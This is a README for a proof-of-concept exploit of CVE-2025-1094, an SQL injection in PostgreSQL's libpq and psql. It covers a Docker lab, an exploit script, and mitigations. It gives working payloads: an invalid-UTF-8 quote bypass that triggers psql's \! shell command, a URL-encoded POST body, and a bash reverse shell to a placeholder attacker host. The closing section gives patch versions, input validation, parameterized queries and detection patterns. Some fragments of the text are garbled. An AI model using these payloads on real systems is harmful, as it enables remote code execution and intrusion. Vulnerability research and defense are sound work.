
Proof-of-concept exploit for CVE-2025-1094, a PostgreSQL psql SQL injection leading to RCE via libpq escaping bypass. Includes Docker environment, exploit script, and mitigation guidance.
Proof of Concept for critical SQL Injection vulnerability in PostgreSQL client libpq and psql tool
CVE-2025-1094 is a critical vulnerability in the PostgreSQL client library libpq and the command-line tool psql. This flaw allows an attacker to perform SQL Injection and escalate to Remote Code Execution (RCE) even when the application uses standard string escaping functions such as PQescapeLiteral.
The bug arises from inconsistent handling of invalid multibyte byte sequences (e.g., UTF-8) between the escaping library and the psql parser.
1. Bypass Escaping
PQescapeLiteral function is tricked by a "new byte" (e.g., 0xC0)') as a single character2. RCE via Meta-commands
\! system commandThe project is organized to simulate a real-world scenario where a C libpq function is called:
.
├── docker-compose.yml # Start PostgreSQL + Web App
├── exolit.py # Exploit script - External attack
├── README.md # This documentation
└── app/
├── app.py # Flask Web App - Accepts user input
├── Dockerfile # Build image containing vulnerable code
└── init_db.sql # Initialize database
/search endpoint\!hax\xc0'; \! id; #
| Component | Value | Meaning |
|---|---|---|
| Data input | hax | Normal data |
| New byte | \xc0 | Invalid UTF-8 byte - bypass escaping |
| Quote | ' | Single quote "hidden" - slips through filter |
| SQL terminator | ; | End current SQL statement |
| Meta-command | \! | psql special command - escape to OS shell |
| Shell command | id | Command to execute (can be replaced with reverse shell) |
| Comment | # | SQL comment - neutralize remainder |
1. User input: hax\xc0'; \! id; #
↓
2. PQescapeLiteral() does not recognize \xc0 + ' as attack
↓
3. String sent to psql: hax\xc0'; \! id; #
↓
4. psql parses: \xc0 portion considered end of string
↓
5. Meta-command \! is triggered
↓
6. Shell command id executes with container privileges
docker-compose up -d
docker-compose ps
Ensure both PostgreSQL and Flask app are running.
python exolit.py
Expected result: Will display uid=0(root) information retrieved from the server
docker-compose down
Send a POST request to /search with the following body:
name=hax%c0%27;+\!+id+;+%23
%c0 = \xc0 (invalid UTF-8 byte)%27 = ' (single quote)%23 = # (hash)+ = spacehax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<hacker-ip>/<hacker-port>+0>%261"+;+%23
Note: Replace <hacker-ip> and <hacker-port> with attacker's IP and port
Upgrade PostgreSQL to patched versions:
| Version | Safe Version |
|---|---|
| 17.x | ≥ 17.3 |
| 16.x | ≥ 16.7 |
| 15.x | ≥ 15.11 |
| 14.x | ≥ 14.16 |
| 13.x | ≥ 13.19 |
Always verify that input data is valid UTF-8 before processing:
def validate_utf8(data):
try:
data.encode('utf-8').decode('utf-8')
return True
except UnicodeDecodeError:
return False
In application programming, use official driver libraries:
# ❌ DON'T: Use subprocess + psql
subprocess.run(['psql', '-c', user_input])
# ✅ DO: Use parameterized queries with psycopg2
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))
rootrootSet up rules to detect patterns:
- Byte 0xC0, 0xC1 in request body
- Meta-command `\!` in user input
- Strings like `; \!` or `' \!`
Link to source code (before patch) You can view the file src/interfaces/libpq/fe-exec.c in version 17.2 (still vulnerable version):
View "The Patch" - Most important for White-box To understand why they had the bug and how they fixed it, the best way is to view the Commit Diff (changes between vulnerable and patched versions).
Vulnerability analysis post: https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/